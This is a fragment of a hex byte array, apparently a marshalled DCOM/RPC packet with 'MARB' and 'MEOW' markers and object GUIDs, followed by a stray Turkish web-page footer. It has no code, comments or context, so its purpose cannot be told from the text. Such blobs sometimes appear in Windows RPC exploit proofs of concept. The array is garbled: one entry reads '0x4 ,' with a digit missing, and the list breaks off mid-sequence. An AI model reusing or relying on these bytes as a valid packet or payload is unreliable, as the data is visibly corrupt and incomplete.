0xF4, 0x0C, 0x00, 0x00, 0x00, 0x4D, 0x41, 0x52, 0x42, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0xF0, 0xAD, 0xBA, 0x00, 0x00, 0x00, 0x00, 0xA8, 0xF4, 0x0B, 0x00, 0x60, 0x03, 0x00, 0x00, 0x60, 0x03, 0x00, 0x00, 0x4D, 0x45, 0x4F, 0x57, 0x04, 0x00, 0x00, 0x00, 0xA2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x38, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x30, 0x03, 0x00, 0x00, 0x28, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xC8, 0x00, 0x00, 0x00, 0x4D, 0x45, 0x4 , 0x57, 0x28, 0x03, 0x00, 0x00, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x28, 0xCD, 0x00, 0x64, 0x29, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xAB, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xA5, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xA6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xA4, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xAD, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xAA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x07, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x50, 0x00, 0x00, 0x00, 0x4F, 0xB6, 0x88, 0x20,

Benzer Belgeler